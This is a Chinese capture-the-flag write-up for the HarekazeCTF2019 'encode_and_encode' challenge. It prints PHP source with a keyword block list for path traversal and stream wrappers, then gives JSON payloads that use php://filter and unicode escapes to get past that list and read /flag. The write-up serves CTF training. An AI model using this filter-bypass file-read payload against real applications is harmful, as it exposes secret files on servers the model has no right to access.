[HarekazeCTF2019]encode_and_encode
依次点进去分别发现了:
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
审计上面代码得知,过滤了很多的关键字
$body = file_get_contents('php://input');
$json = json_decode($body, true);
审计上面代码得知,我们需要用json的方式传page,并且会用到伪协议,并且会涉及到php file_get_contents函数:
php file_get_contents()函数:
定义与用法:
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
语法:
file_get_contents(path,include_path,context,start,max_length)
参数:
path 必需。规定要读取的文件。 include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 提示和注释:
提示:该函数是二进制安全的。(意思是二进制数据(如图像)和字符数据都可以使用此函数写入。)
示例:
<?php
echo file_get_contents("test.txt");
?>
上面的代码将输出:
This is a test with test text.
构造payload:
{"page":"php://filter/convert.base64-encode/resource=/flag"}
但是由于关键字flag、php都被禁用了,可以利用unicode编码来代替,构造新的payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
利用bp传一下数据,当抓包后点击about的时候,页面出来了{"page":"pages/about.html"},所以就用这个页面进行传值,就得到了base64加密字符串:
解密即得flag: